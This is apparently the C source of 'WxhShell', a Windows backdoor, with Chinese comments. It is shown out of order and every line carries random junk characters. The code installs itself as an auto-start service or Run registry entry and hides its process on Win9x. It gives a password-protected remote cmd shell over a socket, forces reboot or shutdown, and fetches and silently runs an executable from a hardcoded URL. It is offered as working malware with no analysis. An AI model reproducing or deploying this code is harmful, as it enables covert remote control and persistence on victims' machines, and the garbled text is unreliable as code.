    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?*R^?[  
    if(Boot(SHUTDOWN)) ?3TK7]1V:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (bFWT_CChz  
    else { i)=89?8  
    closesocket(wsh); l6B^sc*@  
    ExitThread(0); gqdB!l4  
    } K aQq[a  
    break; :y-0qz D?  
    } mERZ_[a2  
  // 获取shell _ K+V?-=  
  case 's': { 0HJqsSZ$mW  
    CmdShell(wsh); 2V2x,!  
    closesocket(wsh); UE,~_hp  
    ExitThread(0); ~R?dDL  
    break; 9Oo*8wvGG  
  } ;Jbc'V'fm  
  // 退出 k *;{n8o?)  
  case 'x': { /IJ9_To  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mf;^b.mKh  
    CloseIt(wsh); FP'u)eU&3  
    break; SeZT4y*=  
    } G E~(N N  
  // 离开 E2h;hr;W  
  case 'q': { WQLHjGehe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t2 -nCRXEP  
    closesocket(wsh); k`7.p,;}U  
    WSACleanup(); Nzi/3r7m  
    exit(1); R3{*v =ov  
    break; %AEK[W+0  
        } KB,~u*~!  
  } tY$ty0y-e  
  } ]k`Fl,"  
4'{hI;&a&  
  // 提示信息 /romTK4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jRdhLs,M9  
} i9@;,4f  
  } b?2X>QJ  
;+ C o!L  
  return; ^0-e,d 9h  
} sPE)m_u  
emkMR{MY  
// shell模块句柄 w-'D*dOi  
int CmdShell(SOCKET sock) _5U%'\5s  
{ ycl>git]  
STARTUPINFO si; ^!o1l-Y^gr  
ZeroMemory(&si,sizeof(si)); !7kLFW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H81.p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PX69  
PROCESS_INFORMATION ProcessInfo; iA%' ;V  
char cmdline[]="cmd"; @!&Jgg53G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #lyM+.T  
  return 0; K[#v(<)  
} Qw6KX#n  
p-i.ITRS  
// 自身启动模式 uzVG q!'H  
int StartFromService(void) I_zk'  
{ {+/ .5  
typedef struct !rsa4t@ t  
{  $||ns@F+  
  DWORD ExitStatus; RI5g+Du?  
  DWORD PebBaseAddress; lC /Hib  
  DWORD AffinityMask; ET,0ux9F  
  DWORD BasePriority; %Vw|5yA4  
  ULONG UniqueProcessId; X@ bn??  
  ULONG InheritedFromUniqueProcessId; QWz Op\+  
}   PROCESS_BASIC_INFORMATION; r(,= uLc  
da9*9yN  
PROCNTQSIP NtQueryInformationProcess; clq~ ;hx  
DYT@BiW{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yBPt%EF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }rKJeOo^x?  
,#P,B ;r~  
  HANDLE             hProcess; 0\EpH[m}-  
  PROCESS_BASIC_INFORMATION pbi; k%Ma4_Z  
<m Ju v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +3/k/W  
  if(NULL == hInst ) return 0; *w'q  
Q3NPwM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DnG/ n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &O+sK4 P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f!M[awj%  
h V|v6 _  
  if (!NtQueryInformationProcess) return 0; Z^'?|qFj!  
&J lpA<^s;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J8GXI:y  
  if(!hProcess) return 0; gqP -E  
o27 3|*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q SHx]*)  
9S:{  
  CloseHandle(hProcess); v+!y;N;Q  
fCt^FU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /RJ6nmN@}  
if(hProcess==NULL) return 0; DD12pL{QA  
zz(!t eBC  
HMODULE hMod; ;NiArcAS!  
char procName[255]; W"b&M%y|  
unsigned long cbNeeded; $zk^yumdE  
*Fa )\.XX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )K>Eniou  
05l0B5'p  
  CloseHandle(hProcess); "8wf.nZ  
B\=SAi  
if(strstr(procName,"services")) return 1; // 以服务启动 tr6jh=  
3W7;f!  
  return 0; // 注册表启动 [+g(  
} <mv7HKVg  
Je#!Wd  
// 主模块 ~_DF06G  
int StartWxhshell(LPSTR lpCmdLine) NLcO{   
{ |eH wp  
  SOCKET wsl; g9yaNelDh)  
BOOL val=TRUE; 0[n c7)sW  
  int port=0; Lv `#zgo_f  
  struct sockaddr_in door; 2-vJv+-  
~t'#nV  
  if(wscfg.ws_autoins) Install(); $$haVY&  
-M7K8  
port=atoi(lpCmdLine); `ir&]jh.A  
L# `lQ"`K  
if(port<=0) port=wscfg.ws_port; {l&Ltruhz  
l^DINZU@  
  WSADATA data; >.DF"]XM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +R|U4`12  
Vk MinE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l,*yEkU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JP{UgcaF  
  door.sin_family = AF_INET; 5SoZ$,a<e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NoFs-GGGh  
  door.sin_port = htons(port); SQq6X63 \  
1^Kj8*O8e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yw6DJY  
closesocket(wsl); 6B7<  
return 1; Uby,Tu  
} <U@P=G<t  
j y7  
  if(listen(wsl,2) == INVALID_SOCKET) { 6eOrs-ty  
closesocket(wsl); IZv~[vi_  
return 1; 8|1`Tn}o  
} 5;X {.2  
  Wxhshell(wsl); c u\ls^  
  WSACleanup(); Cw 1 9y  
7m@ )Lv  
return 0; Ihdu1]~R{  
Gs+\D0o!  
} ANckv|&'v  
4rI:1 yGt@  
// 以NT服务方式启动 54<6Dy f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Dc5bkm  
{ M,crz  
DWORD   status = 0; ao)Ck3]  
  DWORD   specificError = 0xfffffff; *f79=x  
K1:a]aU?Iu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :ar?0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xKY$L*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cvKV95bn  
  serviceStatus.dwWin32ExitCode     = 0; 1s Br.+p  
  serviceStatus.dwServiceSpecificExitCode = 0; D+f'*|  
  serviceStatus.dwCheckPoint       = 0; }0$mn)*k  
  serviceStatus.dwWaitHint       = 0; vT?Q^PTO  
I^WIa"u_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fs&,w  
  if (hServiceStatusHandle==0) return; RXBb:f  
pJd0k"{  
status = GetLastError(); \;-qdV_JB  
  if (status!=NO_ERROR) ;SfNKu  
{ U);OR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4py(R-8\  
    serviceStatus.dwCheckPoint       = 0; 1 ojhh7<  
    serviceStatus.dwWaitHint       = 0; 9u?(^(.  
    serviceStatus.dwWin32ExitCode     = status; L59bu/LfL  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,!`SY)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #e*X0;m  
    return; Ejq=*UOP  
  } lj)f4zu  
vK(I3db !  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J2r1=5HS  
  serviceStatus.dwCheckPoint       = 0; Yrpxy.1=F5  
  serviceStatus.dwWaitHint       = 0; 'V&2Xvl%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7U,k 2LS  
} \yM-O-{  
)7W6-.d  
// 处理NT服务事件,比如:启动、停止 ;;@IfZ ?j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l<TIG3 bs  
{ K'NcTw#f  
switch(fdwControl) aM), M]m[  
{ VMx%1^/(  
case SERVICE_CONTROL_STOP: ; yyO0Ha  
  serviceStatus.dwWin32ExitCode = 0; tevQW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GJX4KA8J  
  serviceStatus.dwCheckPoint   = 0; Y&s2C%jT  
  serviceStatus.dwWaitHint     = 0; `|]e6Pb  
  { }'lNi^"XL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q!K`e)R  
  } [G a~%m  
  return; &eIGF1ws  
case SERVICE_CONTROL_PAUSE: m=QCG)s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vh &GIb  
  break; Ivsb<qzG  
case SERVICE_CONTROL_CONTINUE: rR]-RX(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J^fm~P>.  
  break; PPa^o8jd  
case SERVICE_CONTROL_INTERROGATE: +e'X;  
  break; 7IW> >RBF  
}; Y;,Hzmbs6w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l)Zs-V!M^\  
} NY@"&p'Q  
a}>Dz 1R  
// 标准应用程序主函数 j5\$[-';  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \X& C4#  
{ u?kD)5Nk  
rs:Q%V ^  
// 获取操作系统版本 a=+T95ulDy  
OsIsNt=GetOsVer(); khAqYu" )  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NhA#bn9y?  
noC?k }M  
  // 从命令行安装 ^YKy9zkTl  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ziz=]D_  
y? "@v.  
  // 下载执行文件 '&by3y5w-3  
if(wscfg.ws_downexe) { Y X*0?S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /BpxKh2p  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1TjZ#yP%1  
} J{Tq%\a3  
}E;F)=E  
if(!OsIsNt) { S5_t1wqBJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 wVqd$nsY"  
HideProc(); : ,p||_G&  
StartWxhshell(lpCmdLine); bC~~5Cm  
} Q2/.6O8  
else ~F w<eY  
  if(StartFromService()) ]TSg!H  
  // 以服务方式启动 HM&1y ubh#  
  StartServiceCtrlDispatcher(DispatchTable); MdC<4^|  
else xQu eE{  
  // 普通方式启动 /APcL5:=  
  StartWxhshell(lpCmdLine); wGJjA=C  
knT.l"  
return 0; m&IsDAn  
} ]` ]g@v  
=Ikg.jYq&F  
frN3S  
Km3&N  
=========================================== DA"}A`HfI  
zoP%u,XL  
@Z;1 g  
F Z!J  
Y-p<qL|_  
\k@Z7+&7  
" +;q.Y?  
H9` f0(H  
#include <stdio.h> xd8 *<,Wj  
#include <string.h> )ofm_R'q*  
#include <windows.h> \t3qS eWc/  
#include <winsock2.h> * OsU Y=;  
#include <winsvc.h> o>c ^aRZ{  
#include <urlmon.h> 0xpx(T[  
TfRGA (+#  
#pragma comment (lib, "Ws2_32.lib") ^Y04qeRd  
#pragma comment (lib, "urlmon.lib") T&xt` |  
MJ\[Dt  
#define MAX_USER   100 // 最大客户端连接数 ?_q+&)4-o  
#define BUF_SOCK   200 // sock buffer W f@t4(i  
#define KEY_BUFF   255 // 输入 buffer ALGg AX3t  
<L2emL_'  
#define REBOOT     0   // 重启 -2i\G.,J  
#define SHUTDOWN   1   // 关机 N[Sb#w`[/  
_3>djF_u  
#define DEF_PORT   5000 // 监听端口 O8|*M "  
4 tXSYHd3  
#define REG_LEN     16   // 注册表键长度 1;&;5  
#define SVC_LEN     80   // NT服务名长度 =Q(vni83<  
DjHp+TyT  
// 从dll定义API 4v dNMV~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'iUg[{'+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); feEMg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GXX+}=b7qO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SwH2$:f  
&ZJgQ-Pc(m  
// wxhshell配置信息 & ,L9OU  
struct WSCFG { xx8U$,Ng  
  int ws_port;         // 监听端口 :reTJQwr  
  char ws_passstr[REG_LEN]; // 口令 Z$'I Bv  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]gEhE  
  char ws_regname[REG_LEN]; // 注册表键名 $-vo}k%M  
  char ws_svcname[REG_LEN]; // 服务名 )1F<6R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'C?NJ~MN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qw)9r{f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bJ3(ckhq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #c Kqnk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R,Oe$J<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {6 .o=EyM{  
\cuS>G  
}; x<B'.3y  
Yrn"saVc,  
// default Wxhshell configuration Jx|I6 y  
struct WSCFG wscfg={DEF_PORT, HIf{Z* mb  
    "xuhuanlingzhe", #^rU x.  
    1, [-w@.^:]X  
    "Wxhshell", nr\q7  
    "Wxhshell", v{;7LXy0  
            "WxhShell Service", Llz[ '"m  
    "Wrsky Windows CmdShell Service", HDIk9WC^  
    "Please Input Your Password: ", Z=+03  
  1, <I=$ry6 8  
  "http://www.wrsky.com/wxhshell.exe", cH D%{xlb  
  "Wxhshell.exe" "uD= KlA  
    }; ZR3nK0  
lDc;__}Ws  
// 消息定义模块 . (`3JQ2s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lCb+{OB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y79qwM.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y' xF0  
char *msg_ws_ext="\n\rExit."; |4b)>8TL/  
char *msg_ws_end="\n\rQuit."; j9y3hQ+q  
char *msg_ws_boot="\n\rReboot..."; ?IYY'fS"  
char *msg_ws_poff="\n\rShutdown..."; $L}aQlA1JM  
char *msg_ws_down="\n\rSave to "; &ITuyGmF  
OXhAha`R  
char *msg_ws_err="\n\rErr!"; |)U|:F/{@  
char *msg_ws_ok="\n\rOK!"; ~OFvu}]  
MagMZR  
char ExeFile[MAX_PATH]; G?hK9@ |v  
int nUser = 0; 5EeDHsvV9  
HANDLE handles[MAX_USER]; ]=&L_(34  
int OsIsNt; v}uJtBG(  
&__DJ''+  
SERVICE_STATUS       serviceStatus; IazkdJX~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vk}49O<K/  
Z(Q2Ue;}&  
// 函数声明 \t.}-u<7{  
int Install(void); TEVI'%F  
int Uninstall(void); ' UMFS  
int DownloadFile(char *sURL, SOCKET wsh); ]~c+'E`  
int Boot(int flag); Ruaur]  
void HideProc(void); RR|\- 8;  
int GetOsVer(void); \54}T 4R  
int Wxhshell(SOCKET wsl); Un@\kAY  
void TalkWithClient(void *cs); "{BqtU*.  
int CmdShell(SOCKET sock); xJ(:m<z  
int StartFromService(void); aXR%;]<Dw  
int StartWxhshell(LPSTR lpCmdLine); t[C1z  
sQ1jrkm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d53 L65[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4%ZM:/  
5cfA;(H  
// 数据结构和表定义 ,4@|1z{bfm  
SERVICE_TABLE_ENTRY DispatchTable[] = XGs^rIf  
{ &Cro2|KZhG  
{wscfg.ws_svcname, NTServiceMain}, zg}YGu|J  
{NULL, NULL} 6Wf^0ok  
}; zV.pol  
Tz-X o  
// 自我安装 cCdX0@hY  
int Install(void) 2qj{n+  
{ V[hK2rVH.  
  char svExeFile[MAX_PATH]; \,xFg w4  
  HKEY key; ~1(j&&kXet  
  strcpy(svExeFile,ExeFile); t/p $  
1~5trsB+5  
// 如果是win9x系统,修改注册表设为自启动 UQ8bN I7  
if(!OsIsNt) { Omyt2`q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IF_DZ   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \7 a4uc  
  RegCloseKey(key); J)x3\[}Ye  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tj`5L6N;8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;+_8&wbqW  
  RegCloseKey(key); JdNF-64ky  
  return 0; bI ITPxz  
    } _ Jc2&(;  
  } _a'A~JY  
} hU {-a`  
else { yfe'>]7  
%%}A|,  
// 如果是NT以上系统,安装为系统服务 lpC @I^:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &=q! Wdw~  
if (schSCManager!=0) _a -]?R  
{ {BV4h%P]:  
  SC_HANDLE schService = CreateService jj&s} _75  
  ( tJZc/]%`H  
  schSCManager, d/U."V}  
  wscfg.ws_svcname, fC<m^%*zgA  
  wscfg.ws_svcdisp, z@h~Vb&I  
  SERVICE_ALL_ACCESS, rU\[SrIhz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X;GfPw.m  
  SERVICE_AUTO_START, !~ rt:Z  
  SERVICE_ERROR_NORMAL, 4u1KF:g  
  svExeFile, isK;mU?<  
  NULL, ~brFo2  
  NULL, pB01J<@m  
  NULL, QZYU0; VF  
  NULL, *Xr$/N  
  NULL zK5bO= 0j  
  ); .{so  
  if (schService!=0) 1mW%  
  { hu@7?f_"L/  
  CloseServiceHandle(schService); 9f+RAN(  
  CloseServiceHandle(schSCManager); 1:NS}r+>3.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VXKT\9g3A  
  strcat(svExeFile,wscfg.ws_svcname); Re[ :qLa]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q:o 7G|C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c@du2ICUc  
  RegCloseKey(key); RUXCq`)"<  
  return 0; +x1/-J8_sg  
    } 0|Uc d  
  } $99R|^  
  CloseServiceHandle(schSCManager); ?d-70pm  
} w]!0<  
} R}{GwbF_\  
0i@:KYP  
return 1; > <Z'D  
} %_f;G+fK\p  
.9M.|  
// 自我卸载 U[8{_h<#  
int Uninstall(void) fE25(wCz7  
{ Yp5L+~J[  
  HKEY key; =3'(A14C=  
6?gi_3g  
if(!OsIsNt) { uP|FJLY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SkP[|g'56  
  RegDeleteValue(key,wscfg.ws_regname); j%tEZ"H  
  RegCloseKey(key); JF9Hfs/jS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e!0OW7 kV  
  RegDeleteValue(key,wscfg.ws_regname); r6Nm!Bq7  
  RegCloseKey(key); 5P ke8K  
  return 0; 32>x^>G=>  
  } _l&ucA  
} la, h  
} 9([6d.`~  
else { nX[;^v/  
%e=!nRc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T\sNtdF`:  
if (schSCManager!=0) ti_u!kNv  
{ bkv/I{C>?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \ TL82H@D  
  if (schService!=0) k0ItG?Cv  
  { H5M#q6`H6  
  if(DeleteService(schService)!=0) { 6 =>G#  
  CloseServiceHandle(schService); ]VjLKFb~U  
  CloseServiceHandle(schSCManager); _z"o1`{w  
  return 0; <GZhH:  
  } b! tludb  
  CloseServiceHandle(schService); pXW`+<g0  
  } 8(lCi$  
  CloseServiceHandle(schSCManager); Lb~\Y n'z  
} X47!E |*  
} rc{o?U'^-  
!$>G# +y  
return 1; KwFXB  
} Ay$>(;  
u,9q<&,  
// 从指定url下载文件 =cp;Q,t'9L  
int DownloadFile(char *sURL, SOCKET wsh) #7W.s!#}Dd  
{ Y5%;p33uFG  
  HRESULT hr; }$aNOf%:  
char seps[]= "/"; ;`jU_  
char *token; p24.bLr  
char *file; e'~ Q@_D  
char myURL[MAX_PATH]; pxplWP,  
char myFILE[MAX_PATH]; HdCk!Fv  
s[V `e2O  
strcpy(myURL,sURL); l,y^HTc}7/  
  token=strtok(myURL,seps); x0G>ktWq<  
  while(token!=NULL) JlIS0hnv  
  { VGJDqm!  
    file=token; _rjBc ;a  
  token=strtok(NULL,seps); %b<%w    
  } Zi1YZxF`Y  
!5.v'K'  
GetCurrentDirectory(MAX_PATH,myFILE); ;=p;v .l  
strcat(myFILE, "\\"); WZ* &@|w  
strcat(myFILE, file); Sx&mv.?X  
  send(wsh,myFILE,strlen(myFILE),0); JQT4N[rEE  
send(wsh,"...",3,0); }x0Z( `  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sU%" azc  
  if(hr==S_OK) eH[y[~r  
return 0; fsI`DjKi)  
else .@K#U52  
return 1; /(zB0TEd  
D_ ug-<QT  
} 3"tg+DncC  
3- )kwy6L  
// 系统电源模块 8IOj[&%0  
int Boot(int flag) B;c=eMw  
{ *vs~SzF$  
  HANDLE hToken; #pa\ 2d|  
  TOKEN_PRIVILEGES tkp; k2uBaj]  
t>oM%/H  
  if(OsIsNt) { R=86w_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :SeLkQC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Wa/geQE1<  
    tkp.PrivilegeCount = 1; mxhW|}_-j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OfLM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8;.` {'r  
if(flag==REBOOT) { P:a*t[+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *NjMb{[ZQ  
  return 0; Dauo(Uhuo  
} k>-'AWH^v  
else { \S5V}!_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) buc*rtHfA  
  return 0; |wJ),h8/  
} i ~P91  
  } 1eF@_Y^a!  
  else { ,whM22Af~{  
if(flag==REBOOT) { qAvvXs=5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u2om5e:  
  return 0; ]E..43  
} l~{T#Q  
else { qL~Pjr>cF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /0!$p[cjm  
  return 0; v/(__xN`B  
} Xr)g  
} W7]mfy^  
i59k"pNm  
return 1; U)b &zZc;  
} %9.bu|`KK  
h%|9]5(=  
// win9x进程隐藏模块 4Xr"d@2(  
void HideProc(void) KZ @l/s  
{ nu(eLUU  
K1 6s)S'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EK.c+Or,  
  if ( hKernel != NULL ) ;<~j)8  
  { m9cj7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;pCG9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fl!1AKSn@N  
    FreeLibrary(hKernel); :.C)7( 8S  
  } YFAnlqC  
GZ.?MnG  
return; $q.p$JQ:  
} Q.uR<C6)v  
#Z#_!o  
// 获取操作系统版本 @]<DR*<  
int GetOsVer(void) eb(m8vLR  
{ >4#tkv>S.  
  OSVERSIONINFO winfo; &a~L_`\'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C`z;,!58%  
  GetVersionEx(&winfo); =b|)Wnt2f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BD?F`%-x  
  return 1; 9EjjkJ%)q  
  else HMFl/%z  
  return 0; RNl\`>Cz  
} =7H.F:BBG  
64;oB_  
// 客户端句柄模块  S/)  
int Wxhshell(SOCKET wsl) Ho:}Bn g  
{ [v~Uy$d\  
  SOCKET wsh; dcM+ylB  
  struct sockaddr_in client; VQ/ <09e  
  DWORD myID; *%z<P~}  
2>`m<&y  
  while(nUser<MAX_USER) ^glbxbhI4  
{ 1h& )I%`?  
  int nSize=sizeof(client); )m oo?Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Py}!C@e  
  if(wsh==INVALID_SOCKET) return 1; M55e=  
%y!   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B/:>{2cm  
if(handles[nUser]==0) ~7KynE  
  closesocket(wsh); -aTg>Q|g&  
else a  [0N,t  
  nUser++; \>w@=bq26  
  } EgkZ$ah  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G >I.  
s}z(|I rH  
  return 0; B6^w{eXN  
} %kaTQ"PB  
aEV|>K=6Y'  
// 关闭 socket p]X!g  
void CloseIt(SOCKET wsh) 4Q &Xb <  
{ ^p'D<!6sK  
closesocket(wsh); F%Ro98?{  
nUser--; Cj`pw2.  
ExitThread(0); fbi H   
} ".Tf< F  
"`y W]v  
// 客户端请求句柄 Y*h`),  
void TalkWithClient(void *cs) ,dGFX]P  
{ :XNK-A W  
P6.)P|n7=  
  SOCKET wsh=(SOCKET)cs; +5N^TnBtBL  
  char pwd[SVC_LEN]; KzxW?Ji$S  
  char cmd[KEY_BUFF]; mkKRC;  
char chr[1]; ZA 99vO  
int i,j; oX%PsS  
<VauJB*R  
  while (nUser < MAX_USER) { Cnb[t[hk+j  
@$K![]oD  
if(wscfg.ws_passstr) { ;7B2~zL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l{B< "+8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )dUd`g  
  //ZeroMemory(pwd,KEY_BUFF); ;+aDjO2(  
      i=0; ~2;&pZ$  
  while(i<SVC_LEN) { s8/ozaeo  
(2hk <  
  // 设置超时 WzNG<rG  
  fd_set FdRead; R|cFpRe  
  struct timeval TimeOut; PaU@T!v  
  FD_ZERO(&FdRead); t*ri`}a{v  
  FD_SET(wsh,&FdRead); |hZ|+7  
  TimeOut.tv_sec=8; ;[;S_|vZ=)  
  TimeOut.tv_usec=0; P:bVcta9g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o3(|FN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A3<P li  
>=]NO'?O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n?7hp%}  
  pwd=chr[0]; U?+30{hb  
  if(chr[0]==0xd || chr[0]==0xa) { 'Sb6 w+  
  pwd=0; 7.F& {:@_  
  break; W! 5Blo  
  } $u0+29T2O  
  i++; 1.u gXD  
    } FW6E)df  
c@"i?  
  // 如果是非法用户,关闭 socket X(0:zb,#G*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h}c6+@w&-  
} @$N*lrM2  
2={K-s20  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); & Q|f*T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iZVT% A+q  
;]8p:ME  
while(1) { H/ B^N,oi  
XO8 H]  
  ZeroMemory(cmd,KEY_BUFF); "pKGUM  
"' i [~  
      // 自动支持客户端 telnet标准   UJyiRP:#]>  
  j=0; yA`]%U((  
  while(j<KEY_BUFF) { [1[[$ Dr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <_FF~lj  
  cmd[j]=chr[0]; ;Wp`th!F  
  if(chr[0]==0xa || chr[0]==0xd) { 5 p(t")  
  cmd[j]=0; P(W\aLp  
  break; BLYk <m  
  } V< 9em7  
  j++; ?8aWUgl  
    } 6A{s%v H  
t' _,9  
  // 下载文件 y:(C=*^<t  
  if(strstr(cmd,"http://")) { }lQn]q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n"`SL<K1  
  if(DownloadFile(cmd,wsh)) Y/Gswcz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G~mB=]  
  else VS@rM<K{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 85d7IB{28  
  } ?X5glDZ$  
  else { c#4ZDjvm6  
w7]p9B  
